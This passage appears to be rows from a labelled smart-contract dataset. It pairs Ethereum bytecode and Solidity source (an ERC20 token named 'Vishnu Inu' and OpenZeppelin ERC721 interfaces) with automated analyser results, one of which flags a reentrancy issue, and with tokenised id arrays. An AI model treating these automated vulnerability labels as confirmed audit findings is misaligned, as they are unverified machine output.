600082905060005b60008214614367578080600101915050600a828161435f57fe5b049150614345565b6060816040519080825280601f01601f19166020018201604052801561439c5781602001600182028038833980820191505090505b50905060006001830390505b6000861461441557600a86816143ba57fe5b0660300160f81b828280600190039350815181106143d457fe5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350600a868161440d57fe5b0495506143a8565b819450505050505b919050565b606061445e8383604051806020016040528060008152506040518060200160405280600081525060405180602001604052806000815250615838565b905092915050565b80518251146144c0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526035815260200180615d226035913960400191505060405180910390fd5b60008251905060008090505b818110156146bd5761455c8382815181106144e357fe5b60200260200101516000808973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600087858151811061453757fe5b6020026020010151815260200190815260200160002054615afe90919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008684815181106145a857fe5b602002602001015181526020019081526020016000208190555061464a8382815181106145d157fe5b60200260200101516000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600087858151811061462557fe5b6020026020010151815260200190815260200160002054614ea890919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600086848151811061469657fe5b602002602001015181526020019081526020016000208190555080806001019150506144cc565b508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f4a39dc06d4c0dbc64b70af90fd698a233a518aa5d07e595d983b8c0526c8f7fb8686604051808060200180602001838103835285818151815260200191508051906020019060200280838360005b8381101561476d578082015181840152602081019050614752565b50505050905001838103825284818151815260200191508051906020019060200280838360005b838110156147af578082015181840152602081019050614794565b5050505090500194505050505060405180910390a45050505050565b6147ea8473ffffffffffffffffffffffffffffffffffffffff16615b87565b15614a7f5760008473ffffffffffffffffffffffffffffffffffffffff1663bc197c8133888787876040518663ffffffff1660e01b8152600401808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001806020018060200180602001848103845287818151815260200191508051906020019060200280838360005b838110156148d05780820151818401526020810190506148b5565b50505050905001848103835286818151815260200191508051906020019060200280838360005b838110156149125780820151818401526020810190506148f7565b50505050905001848103825285818151815260200191508051906020019080838360005b83811015614951578082015181840152602081019050614936565b50505050905090810190601f16801561497e5780820380516001836020036101000a031916815260200191505b5098505050505050505050602060405180830381600087803b1580156149a357600080fd5b505af11580156149b7573d6000803e3d6000fd5b505050506040513d60208110156149cd57600080fd5b8101908080519060200190929190505050905063bc197c8160e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916817bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614614a7d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603f815260200180615e37603f913960400191505060405180910390fd5b505b5050505050565b614ae8826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600086815260200190815260200160002054614ea890919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000858152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fc3d58168c5ae7397731d063d5bbf3d657854427343f4c083240f7aacaa2d0f628686604051808381526020018281526020019250505060405180910390a4614bce6000858585856154b9565b50505050565b6000614bec6001600454614ea890919063ffffffff16565b905090565b600460008154809291906001019190505550565b8060029080519060200190614c1b929190615bd2565b5050565b606060008273ffffffffffffffffffffffffffffffffffffffff1660001b905060606040518060400160405280601081526020017f303132333435363738396162636465660000000000000000000000000000000081525090506060602a6040519080825280601f01601f191660200182016040528015614caf5781602001600182028038833980820191505090505b5090507f300000000000000000000000000000000000000000000000000000000000000081600081518110614ce057fe5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a9053507f780000000000000000000000000000000000000000000000000000000000000081600181518110614d3d57fe5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a90535060008090505b6014811015614e945782600485600c840160208110614d8d57fe5b1a60f81b7effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916901c60f81c60ff1681518110614dc557fe5b602001015160f81c60f81b826002830260020181518110614de257fe5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a90535082600f60f81b85600c840160208110614e2657fe5b1a60f81b1660f81c60ff1681518110614e3b57fe5b602001015160f81c60f81b826002830260030181518110614e5857fe5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a9053508080600101915050614d72565b50809350505050919050565b600033905090565b600080828401905083811015614f26576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260168152602001807f536166654d617468236164643a204f564552464c4f570000000000000000000081525060200191505060405180910390fd5b8091505092915050565b8151835114614f8a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526030815260200180615e076030913960400191505060405180910390fd5b60008351905060008090505b8181101561509957615026848281518110614fad57fe5b60200260200101516000808973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600088858151811061500157fe5b6020026020010151815260200190815260200160002054614ea890919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600087848151811061507257fe5b60200260200101518152602001908152602001600020819055508080600101915050614f96565b508473ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f4a39dc06d4c0dbc64b70af90fd698a233a518aa5d07e595d983b8c0526c8f7fb8787604051808060200180602001838103835285818151815260200191508051906020019060200280838360005b8381101561514a57808201518184015260208101905061512f565b50505050905001838103825284818151815260200191508051906020019060200280838360005b8381101561518c578082015181840152602081019050615171565b5050505090500194505050505060405180910390a46151af6000868686866147cb565b5050505050565b803373ffffffffffffffffffffffffffffffffffffffff166016600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461526e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526031815260200180615edc6031913960400191505060405180910390fd5b826016600084815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505050565b615327816000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600085815260200190815260200160002054615afe90919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000848152602001908152602001600020819055506153dc816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600085815260200190815260200160002054614ea890919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000848152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fc3d58168c5ae7397731d063d5bbf3d657854427343f4c083240f7aacaa2d0f628585604051808381526020018281526020019250505060405180910390a450505050565b6154d88473ffffffffffffffffffffffffffffffffffffffff16615b87565b156156eb5760008473ffffffffffffffffffffffffffffffffffffffff1663f23a6e6133888787876040518663ffffffff1660e01b8152600401808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200184815260200183815260200180602001828103825283818151815260200191508051906020019080838360005b838110156155bf5780820151818401526020810190506155a4565b50505050905090810190601f1680156155ec5780820380516001836020036101000a031916815260200191505b509650505050505050602060405180830381600087803b15801561560f57600080fd5b505af1158015615623573d6000803e3d6000fd5b505050506040513d602081101561563957600080fd5b8101908080519060200190929190505050905063f23a6e6160e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916817bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916146156e9576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603a815260200180615e76603a913960400191505060405180910390fd5b505b5050505050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415615778576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180615cd26026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6060808690506060869050606086905060608690506060869050606081518351855187518951010101016040519080825280601f01601f1916602001820160405280156158945781602001600182028038833980820191505090505b5090506060819050600080905060008090505b8851811015615915578881815181106158bc57fe5b602001015160f81c60f81b8383806001019450815181106158d957fe5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a90535080806001019150506158a7565b5060008090505b875181101561598a5787818151811061593157fe5b602001015160f81c60f81b83838060010194508151811061594e57fe5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350808060010191505061591c565b5060008090505b86518110156159ff578681815181106159a657fe5b602001015160f81c60f81b8383806001019450815181106159c357fe5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a9053508080600101915050615991565b5060008090505b8551811015615a7457858181518110615a1b57fe5b602001015160f81c60f81b838380600101945081518110615a3857fe5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a9053508080600101915050615a06565b5060008090505b8451811015615ae957848181518110615a9057fe5b602001015160f81c60f81b838380600101945081518110615aad57fe5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a9053508080600101915050615a7b565b50819850505050505050505095945050505050565b600082821115615b76576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f536166654d617468237375623a20554e444552464c4f5700000000000000000081525060200191505060405180910390fd5b600082840390508091505092915050565b60008060007fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a47060001b9050833f91506000801b8214158015615bc95750808214155b92505050919050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10615c1357805160ff1916838001178555615c41565b82800160010185558215615c41579182015b82811115615c40578251825591602001919060010190615c25565b5b509050615c4e9190615c52565b5090565b615c7491905b80821115615c70576000816000905550600101615c58565b5090565b9056fe4552433131353523736166655472616e7366657246726f6d3a20494e56414c49445f524543495049454e54455243313135355472616461626c652362617463684d696e743a204f4e4c595f43524541544f525f414c4c4f5745444f776e61626c653a206e6577206f776e657220697320746865207a65726f20616464726573734552433131353523736166655472616e7366657246726f6d3a20494e56414c49445f4f50455241544f5245524331313535235f7361666542617463685472616e7366657246726f6d3a20494e56414c49445f4152524159535f4c454e47544845524331313535237361666542617463685472616e7366657246726f6d3a20494e56414c49445f524543495049454e544552433732315472616461626c65237572693a204e4f4e4558495354454e545f544f4b454e455243313135352362616c616e63654f6642617463683a20494e56414c49445f41525241595f4c454e47544845524331313535237361666542617463685472616e7366657246726f6d3a20494e56414c49445f4f50455241544f52455243313135354d696e744275726e2362617463684d696e743a20494e56414c49445f4152524159535f4c454e47544845524331313535235f63616c6c6f6e45524331313535426174636852656365697665643a20494e56414c49445f4f4e5f524543454956455f4d45535341474545524331313535235f63616c6c6f6e4552433131353552656365697665643a20494e56414c49445f4f4e5f524543454956455f4d455353414745455243313135355472616461626c652373657443726561746f723a20494e56414c49445f414444524553532e455243313135355472616461626c652363726561746f724f6e6c793a204f4e4c595f43524541544f525f414c4c4f574544a265627a7a723158204574d7900ec84afd32c87b7de7fc7a3e7d5f2c9d409794c7d242a62fcd5ac25564736f6c634300050c0032
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2575, 2509, 26337, 2497, 2509, 26337, 2278, 2475, 27717, 2497, 20952, 16048, 17788, 2549, 2278, 2629, 16409, 2475, 16409, 24096, 2575, 2546, 2475, 2546, 2620, 4402, 20842, 2683, 1013, 1008, 1008, 1008, 7864, 2005, 22616, 2012, 28855, 29378, 1012, 22834, 2006, 16798, 2475, 1011, 5840, 1011, 2676, 1008, 1013, 1013, 1008, 1008, 1008, 7864, 2005, 22616, 2012, 28855, 29378, 1012, 22834, 2006, 25682, 1011, 2260, 1011, 2403, 1008, 1013, 1013, 1008, 1008, 1008, 7864, 2005, 22616, 2012, 28855, 29378, 1012, 22834, 2006, 25682, 1011, 2260, 1011, 2184, 1008, 1013, 1013, 1008, 1008, 1008, 7864, 2005, 22616, 2012, 28855, 29378, 1012, 22834, 2006, 25682, 1011, 2340, 1011, 2656, 1008, 1013, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1019, 1012, 2260, 1025, 1013, 1008, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,122
0x963fddb8b26f2f8c76793a60e86d92cc959bd181
pragma solidity ^0.5.0; contract ERC20Interface { function totalSupply() public view returns (uint); function balanceOf(address tokenOwner) public view returns (uint balance); function allowance(address tokenOwner, address spender) public view returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } // ---------------------------------------------------------------------------- // Safe Math Library // ---------------------------------------------------------------------------- contract SafeMath { function safeAdd(uint a, uint b) public pure returns (uint c) { c = a + b; require(c >= a); } function safeSub(uint a, uint b) public pure returns (uint c) { require(b <= a); c = a - b; } function safeMul(uint a, uint b) public pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function safeDiv(uint a, uint b) public pure returns (uint c) { require(b > 0); c = a / b; } } contract VishnuInu is ERC20Interface, SafeMath { string public name; string public symbol; uint8 public decimals; // 18 decimals is the strongly suggested default, avoid changing it uint256 public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; constructor() public { name = "Vishnu Inu"; symbol = "VINU"; decimals = 18; _totalSupply = 1000000000000000000000000000000; balances[msg.sender] = 1000000000000000000000000000000; emit Transfer(address(0), msg.sender, _totalSupply); } function totalSupply() public view returns (uint) { return _totalSupply - balances[address(0)]; } function balanceOf(address tokenOwner) public view returns (uint balance) { return balances[tokenOwner]; } function allowance(address tokenOwner, address spender) public view returns (uint remaining) { return allowed[tokenOwner][spender]; } function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(msg.sender, to, tokens); return true; } function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(from, to, tokens); return true; } }
0x608060405234801561001057600080fd5b50600436106100ea5760003560e01c806395d89b411161008c578063b5931f7c11610066578063b5931f7c1461044b578063d05c78da14610497578063dd62ed3e146104e3578063e6cb90131461055b576100ea565b806395d89b4114610316578063a293d1e814610399578063a9059cbb146103e5576100ea565b806323b872dd116100c857806323b872dd146101f6578063313ce5671461027c5780633eaaf86b146102a057806370a08231146102be576100ea565b806306fdde03146100ef578063095ea7b31461017257806318160ddd146101d8575b600080fd5b6100f76105a7565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561013757808201518184015260208101905061011c565b50505050905090810190601f1680156101645780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101be6004803603604081101561018857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610645565b604051808215151515815260200191505060405180910390f35b6101e0610737565b6040518082815260200191505060405180910390f35b6102626004803603606081101561020c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610782565b604051808215151515815260200191505060405180910390f35b610284610a12565b604051808260ff1660ff16815260200191505060405180910390f35b6102a8610a25565b6040518082815260200191505060405180910390f35b610300600480360360208110156102d457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610a2b565b6040518082815260200191505060405180910390f35b61031e610a74565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561035e578082015181840152602081019050610343565b50505050905090810190601f16801561038b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103cf600480360360408110156103af57600080fd5b810190808035906020019092919080359060200190929190505050610b12565b6040518082815260200191505060405180910390f35b610431600480360360408110156103fb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b2c565b604051808215151515815260200191505060405180910390f35b6104816004803603604081101561046157600080fd5b810190808035906020019092919080359060200190929190505050610cb5565b6040518082815260200191505060405180910390f35b6104cd600480360360408110156104ad57600080fd5b810190808035906020019092919080359060200190929190505050610cd5565b6040518082815260200191505060405180910390f35b610545600480360360408110156104f957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d02565b6040518082815260200191505060405180910390f35b6105916004803603604081101561057157600080fd5b810190808035906020019092919080359060200190929190505050610d89565b6040518082815260200191505060405180910390f35b60008054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561063d5780601f106106125761010080835404028352916020019161063d565b820191906000526020600020905b81548152906001019060200180831161062057829003601f168201915b505050505081565b600081600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600460008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460035403905090565b60006107cd600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610b12565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610896600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610b12565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061095f600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610d89565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600260009054906101000a900460ff1681565b60035481565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b0a5780601f10610adf57610100808354040283529160200191610b0a565b820191906000526020600020905b815481529060010190602001808311610aed57829003601f168201915b505050505081565b600082821115610b2157600080fd5b818303905092915050565b6000610b77600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610b12565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610c03600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610d89565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000808211610cc357600080fd5b818381610ccc57fe5b04905092915050565b600081830290506000831480610cf3575081838281610cf057fe5b04145b610cfc57600080fd5b92915050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000818301905082811015610d9d57600080fd5b9291505056fea265627a7a723158208d9220aca1bf21d4a59e1e2d2b8da53b1225b07d73b5197349a12d2c08607a5b64736f6c63430005110032
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 2575, 2509, 2546, 14141, 2497, 2620, 2497, 23833, 2546, 2475, 2546, 2620, 2278, 2581, 2575, 2581, 2683, 2509, 2050, 16086, 2063, 20842, 2094, 2683, 2475, 9468, 2683, 28154, 2497, 2094, 15136, 2487, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1019, 1012, 1014, 1025, 3206, 9413, 2278, 11387, 18447, 2121, 12172, 1063, 3853, 21948, 6279, 22086, 1006, 1007, 2270, 3193, 5651, 1006, 21318, 3372, 1007, 1025, 3853, 5703, 11253, 1006, 4769, 19204, 12384, 2121, 1007, 2270, 3193, 5651, 1006, 21318, 3372, 5703, 1007, 1025, 3853, 21447, 1006, 4769, 19204, 12384, 2121, 1010, 4769, 5247, 2121, 1007, 2270, 3193, 5651, 1006, 21318, 3372, 3588, 1007, 1025, 3853, 4651, 1006, 4769, 2000, 1010, 21318, 3372, 19204, 2015, 1007, 2270, 5651, 1006, 22017, 2140, 3112, 1007, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,123
0x9640c1a69eadd073d273d75028a1d233cd63016c
// SPDX-License-Identifier: MIT // File: @openzeppelin/contracts/utils/Context.sol pragma solidity >=0.6.0 <0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: @openzeppelin/contracts/introspection/IERC165.sol pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: @openzeppelin/contracts/token/ERC721/IERC721.sol pragma solidity >=0.6.2 <0.8.0; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom(address from, address to, uint256 tokenId) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom(address from, address to, uint256 tokenId) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external; } // File: @openzeppelin/contracts/token/ERC721/IERC721Metadata.sol pragma solidity >=0.6.2 <0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // File: @openzeppelin/contracts/token/ERC721/IERC721Enumerable.sol pragma solidity >=0.6.2 <0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function 